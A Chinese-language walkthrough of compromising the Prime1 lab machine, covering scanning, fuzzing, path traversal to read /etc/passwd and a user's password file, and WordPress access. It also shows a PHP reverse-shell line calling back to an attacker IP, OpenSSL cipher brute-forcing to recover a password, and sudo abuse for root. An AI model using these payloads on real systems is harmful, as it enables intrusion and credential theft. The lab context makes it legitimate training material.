Prinme1--OpenSSL解密渗透提权

1.信息收集

靶机ip:192.168.88.156

1.1端口探测

sudo nmap --min-rate 10000 -p- 192.168.88.156

开放两个端口:22、80

 1.2端口信息扫描

sudo nmap -sT -sV -O -p22,80 192.168.88.156

  •  22端口 Oppenssh
  •  80端口 Apache httd 2.4.18

1.3 Udp形式扫描

sudo nmap -sU -p22,80 192.168.88.156

 udp协议扫描端口的状态都为关闭,可忽略

1.4脚本扫描

sudo nmap --script=vuln -p22,80 192.168.88.156

80端口页面仅存在一张图片,信息非常有限。

  • HacknPentest: 在英语的表达中 n 代表and 故意思为破解和渗透
  • 查看源码
  • 源码不存在有价值信息

 2.渗透实施

2.1目录爆破

目录爆破有多种工具,gobuster、dirb、feroxbuster、这款工具之间的算法有略微区别,但区别不大,若在单一款工具扫描结果不尽人意,找不到突破点,可以尝试多个工具参考结果。否则更应该关注当前使用目录爆破工具的参数设置及字典设置。

sudo dirb http://192.168.88.156

dirb字典指定是可选的。默认带一个字典

  •  dev-非常规目录
  • JavaScript
  • wordpress
  • severe-statu

2.2查看目录

sudo curl http://192.168.88.156

 回显告诉我们

  1. 我们现在处在0级
  2. 让我们继续深挖

2.3目录挖掘

sudo dirb http://192.168.88.156 -X .zip,txt

- X:指定dirb扫描文件类型

查看secret.txt

查看secret.txt文件中的链接

有一条wfuzz的命令行

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt  --hc 404 http://website.com/secret.php?FUZZ=something

 w是web的缩写

基于web的模糊测试

回显告诉我们,在找到的php页面做更多的模糊处理

那我们指定php再进行一次扫描

sudo dirb http://192.168.88.156 -X .php

  • http://192.168.88.156/image.php
  • http://192.168.88.156/index.php

使用wfuzz指定对image.php进行模糊测试

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.156/image.php?FUZZ=something

-c:显示颜色,便于阅读和识别

-w:指定字典

 --hc:筛选器,建议等结果出来之后再使用筛选器

--hh:

FUZZ:参数选择,在这里用什么都ok

命令得出的回显太多,简单放一点截图

得出总的结论之后再使用筛选器

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.88.156/image.php?FUZZ=something

--hh:过滤chars

并未发现结果

目标放在index.php

sudo wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.88.156/image.php?FUZZ=something

 找到一个结果

使用curl查看

sudo curl 192.168.88.156/index.php?file

回显告诉我们:我挖到了错误的文件

回头去看之前的secret.txt最后一行

将location.txt赋值给file

sudo curl http://192.168.88.156/index.php?file=location.txt

 内容告诉我们,已经拿到了精确的参数,现在要再往深处挖,下一个用secrettier360这个参数 在其他php页面找到更多乐趣

 最终我们找到了正确的参数

但除此之外并没有告诉其他有用的信息,尝试是否存在目录遍历漏洞

sudo curl http://192.168.88.156/image.php?secrettier360=../../../../../../../../../../etc/passwd

 一般来说,小于1000的账号都是功能性账号,意义不大。

  1. victor-存在bah环境
  2. saket-找到password.txt文件,在我的目录:/home/saket

查看password.txt

sudo curl http://192.168.88.156/image.php?secrettier360=../../../../../../../../../home/saket/password.txt

 获得txt文件内容----follow_the_ippsec

尝试ssh

 均为错误,只能换一个思路

切换到web方面进行渗透

2.4web阶段

前期我们已经知道了存在wordpress

首先应该考虑wordpress本身的漏洞该怎么利用,wordpress是一套非常著名的内容管理系统,

通过钟馗之眼可以知道,wordpress的安装量是遥遥领先其他管理系统的

使用wpscan扫描cms

sudo wpscan --url http://192.168.88.156/wordpress -e u

  •  -e:执行扫描结果 u 指定结果为用户名
  • 在渗透测试的过程,每拿到一个信息,就要考虑这个信息该怎么利用。因为我们之前已经知道了密码,但并不清楚用户名。

扫描结果发现victor用户。使用账号密码登录wordpress

成功登录到wordpress

回想思路:目录爆破---靶机一直在引导我们走,每一步都在告诉我们该做什么---拿到密码---知道有那哪些目录---知道部署什么系统---通过wpscan扫描到wordpress用户----用户匹配之前拿到的密码---拿到后台管理端

这个思路也是很多网站部署的时候,信息使用的思路。只不过这台靶机将信息使用的线索穿起来了,很多实际的渗透测试场景中,未必那么完整,但通过我们对信息的筛选也可以达到同等的状态。

进到wordpress之后,利用方式会套路化:

  •  漏洞是否存在
  • 是否存在跨站脚本
  • 是否存在权限设置不当的地方
  • 是否存在新的漏洞、sql注入等

wordpress一般来说 能够有不同权限的地方,第一个就是插件

我们通过这个窗口可以上传payload

第二个是主题

 这两块有些会对这个bug进行封闭。

尝试在脚本窗口上传内容,一般来说需要用zip格式

先随便做一个zip文件

尝试在插件上传,看回显是否写权限,如果有写权限,后续再传payload。没有则说明这条路走不通

回显提示并不能创建目录,说明和条路走不通

尝试在主题栏上传

依旧不可以

但在主题栏可以看到有一个主题编辑器

 主题编辑器可以选择主题文件,在其中可以看到有很多php文件,这个地方其实是靠经验来判断的,每个文件一次查看,找到了能写入php代码的文件。

2.5建立反弹shell

 写入php反弹shell并进行连接。

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.88.155/443 0>&1'"); ?>

下面我们需要找到secret.php的路径并且运行php文件

wordpress的主题路径默认放在wordpress/wp-content/themes/下

而页面也给了组和文件名称

所以结合一下,我们可以得到路径ip/wordpress/wp-content/themes/twentynineteen/secret.php

反弹shell建立成功!

我们通过sudo -l查看权限可以知道

/home/saket/enc这个目录可以不需要密码就能使用root权限执行

简单查看该目录下存在哪些文件

在home下看一看

发现存在两个用户,其中一个用户是之前找到的密码,user下又发现了flag ,

查看enc目录但没有权限

查看enc的属性

enc是一个文件,可以执行

passwd文件并未发现有价值信息

shodow文件无权访问

2.6尝试提权openssl

sudo -l查看权限

回显结果可知,执行/home/saket/enc目录的命令不需要密码就可以使用root权限

查看目录下的文件及属性

发现存在enc可执行文件

2.61访问enc文件

尝试执行enc

尝试使用目录下password.txt文件的密码

 失败.
尝试使用strings 查看文件内容

失败

尝试file 查看文件内容

告诉我们你这是一个正常的可执行文件,没有权限执行

截止到现在,我们仍然没有获得密码。如果没有密码,我们这条路就走不通,但按照靶机和渗透测试实验室情况很可能存在于某个位置

搜 要在根目录搜,找名字,可能是一个备份 尝试搜一下,但因为我们的权限有限,所以在搜的过程中会有很多报错,所以需要把报错扔掉

find / -name '*backup*' 2>/dev/null |sort |less

 

 

 在/opt/backup/server_database/backup_pass中找到enc的密码:back_password

回显是一个good。两种可能:

  1. 只回显good,这条路走不通。
  2. 后台做了别的操作,只是我们看不到

退回saket目录查看

enc.txt存在base64编码

key.txt回显 需要MD5形式编码ippsec

user.txt 为一段flag

现在先将ippsec转为MD5形式

sudo echo -n 'ippsec' | md5sum

-n:省略换行符 不加-n会将  | 一起转为md5

得到MD5加密

当我们看到enc的文件时,我们应该想到OpenssL提解密渗透提权,而enc.txt里面的内容,则是OpenSSLenc加密解密的一个凭据,而ippsec是一个key,通过这个key我们才能知道enc.txt里面是什么内容。而且通过enc.txt内容的长度,我们也应该知道,里面是一段话,而不是等长的某个加密或验证码。

2.62尝试对enc.txt内容进行解密

echo -n 'xxx' | openssl enc -d -a -CipherType -K
openssl:

将管道符前面单引号里的内容交给openssl去解密

enc:

openssl解密方式

-d:解密命令

-a:

基于64的编码或解码。这要依靠加密的flag来定

-CipherType:

使用生成的文件内容作为变量

查看OpenSSL的帮助

帮助中告诉我们,标准命令有哪些,其中就包含enc

还有Message Digest消息摘要的命令

Cipher命令

对于我们常用的加密,基本都是Message Digest消息摘要命令和Cipher命令

但这么多的加密类型我们不知道哪个是我们需要的

尝试挨个试的方式

将所有的加密类型添加到文件中

echo awk '{gsub(/ /,"\n");print}' CiperTypeRaw | sort
  •  gsub(/ /,"\n"):所有//中的内容,都替换成""中的内容。也就是所有的空格都替换成换行符。这样可以确保每一项都可以单独一行
  • sort:因为有多个空格,所有使用sort对文本进行排序

wc -l 以行的属性计数

但我们并没有这么多数据

往上看发现有空行

去掉空行

现在只剩下99行

输出到CiperTypes

sudo awk '{gsub(/ /,"\n");print}' CipherTypeRaw |sort | uniq > CiperTypes

现在,CiperTypes这个文件已经做完了

-K:

为ippsec的MD5形式

 我们拿到key里面的说明--要把ippsec转换成md5 hash,用它来找到你自己。 你自己就代表的使我们当前使用的用户saket的用户名

查看帮助中enc里面的命令帮助

 -K--原始的值、底层的数据、in hex代表16进制,所以需要我们做一个转换。这里面的提示很关键,如果我们直接用生成的ippsec md5形式,并不满足要求。

 使用od工具

这个工具是用来转换8进制及其他形式--主要是转换8进制

 使用od一定要有的一个参数  -A

这个参数还要指定一个参数,默认会有一个,我们需要去指定,指定doxn其中的一个

d:Decimal--小数

o:Octal--8进制

h:Hex--16进制

n:None--不需要指定

现在不需要任何指定根,但我们还必须要使用-A这个参数,使用要 -An

-t是需要的另一个参数--类型。需要选择一个输出的类型

选择-x 十六进制 但这里为双字节

 对x也有介绍,十六进制,size代表为字节数

所以我们选在x1

这些文档是需要我们去了解知道的

sudo echo -n 'ippsec' | md5sum |awk -F ' ' '{print $1}' | od -A n -t x1

如果有过溢出漏洞的利用或二进制利用经验对这一块儿是不陌生的。

 第三行多了一个0a显然是因为换行符或回车导致多出来的,我们仍然需要做处理。

使用tr工具 -d delete

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1

 但现在仍然不是我们想要的东西,要把两行转为一行

 接着再来一个换行符的修剪

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n'

空格我们也不需要,继续修剪空格

继续使用tr 修剪掉空格

sudo echo -n 'ippsec' | md5sum | awk -F ' ' '{print $1}' | tr -d '\n' | od -A n -t x1 | tr -d '\n' | tr -d ' '

 3336366137346362336339353964653137643631646233303539316333396431

截止到现在我们的命令应该是这样的

 现在我们应该集中看 怎么把刚刚找到的所有的CipherType里的类型能够在命令中尝试,我们只是推测 是base64 但并不能确定一定是base64。假如现在我们对类型是完全不知道的。

尝试写一个bash脚本去做选择

 做一个名叫Cipher 的for循环,因为在当前目录下,查看Ciphertypes 执行一个do do的内容就是上面的所有命令,并将命令行中的-CipherType转换为bash脚本

for Cipher in $(cat CipherTypes);do echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6l/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653
137643631646233303539316333396431;done 

出现很多结果,因为只有一条结果是对的。

但这些结果貌似没有正确的答案

这里面存在一个问题,openssl有一个bug,有时候需要-n 去掉换行符,但如果破解的字符串里面有真正的换行符,在破解完之后应该是回行的,如果存在换行符,又放进去了-n的参数显然是解不开的。尝试去掉-n参数

已经得到了结果,截至到现在,其实我们已经拿到了结果并且可以用结果做下一步。

但我们并不知道是哪个类型匹配的已经出现了太多的报错信息。

首先错误的信息我们不想要,echo一下变量,我们需要知道每次用哪个变量尝试的。 错误的我们不需要 所以2>/dev/null扔掉

for Cipher in $(cat CipherTypes);do echo -n 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6l/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$Cipher -K 3336366137346362336339353964653
137643631646233303539316333396431 2>/dev/null;echo $Cipher;done 

很多错误已经被吃掉了,但大大增加了我们的易读性。回显得知,解密类型为aes-256-ecb

现在我们已经知道了解密类型,回到之前,将CipherTyper替换为aes-256-ecb直接执行

echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -aes-256-ecb -K 3336366137346362336339353964653137643631646233303539316333396431

 得到一个old password

2.7尝试ssh登录

 查看python状态

 发现存在很多python

尝试提高shell交互性

python -c "import pty;pty.spawn('/bin/bash')"

3.提权

 提权首先sudo -l查看当前账号所有的权限

 回显告诉我们,当前账号可以使用root超级账号,没有密码的执行这条命令

尝试执行

如果你能打败我,那么面临挑战我

最后一行 /tmp/challenge 没有找到

那既然找不到我们就创建一下challenge 跟着他的指示走

 创建一个challenge文件,并写入bash语句,执行发现没有权限,使用chmod给x的权限,并且执行之前可以不需要密码也能使用root权限的语句。执行成功

 拿到root权限!!

4.总结

其实我们可以去查看系统版本,如果版本较低,很大可能存在内核漏洞可以利用。但我们并没有走这条路,因为内核漏洞相对于动作较多要暴力很多,容易被管理员发现并且容易导致服务器瘫痪。我们发现初始权限账号目录的时候发现一个enc目录,因为enc是openssl解密的一个命令,于是想到两者的相关性。然后按照这个路径试图去找系统中是否存在类似的备份或文件,毕竟这是一台靶机,所以有这个思路是正常的,当然在实际的渗透测试过程中,这个思路也符合一些管理员的设置,他们在备份的时候也会将重要信息甚至说账号密码放到opt的目录下,但我们并没有直接去找目录,而是通过find做了一些条件的过滤,找到可能的目录,最后发现opt里有一个backup文件,然后用它打开了他给了我们一些提示,然后也给了我们一个密码,用这个密码我们在执行可执行文件enc的时候,他吐了两个文件,分辨是enc.txt和key.txt。这两个文件看了之后我们就更加确定他是用的openssl enc加密解密的场景。场景确定之后,我们构造了相应的语句,解密语句的过程中涉及到了两个重要的点:

  1. 对于key的处理--使用md5生成加密,awk,od去处理,生成。满足了加密规范 的数据结构
  2. 我们无法确定key.txt中像base64加密的内容是什么类型的字符串。于是我们将所有的加密进行处理让他变成一行一行的字段,这样我们建立了bash语句 去遍历了所有的加密类型。在将所有语句执行之后又将语句进行过滤,比如错误的问题我们怎样抛掉,如何知道执行结果是哪种类型支持的。得到结果只会我们发现使用具体的单挑类型也可以进行解密

解密之后我们尝试使用结果进行ssh登录,登录之后我们尝试提权,sudo -l之后回显给我们一条不需要密码就能拥有root权限的命令。执行之后发现并没有challenge文件。于是我们根据他的要求在指定目录下建立文件并且在文件中写入bash脚本提权的命令。再次执行成功获得root权限。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值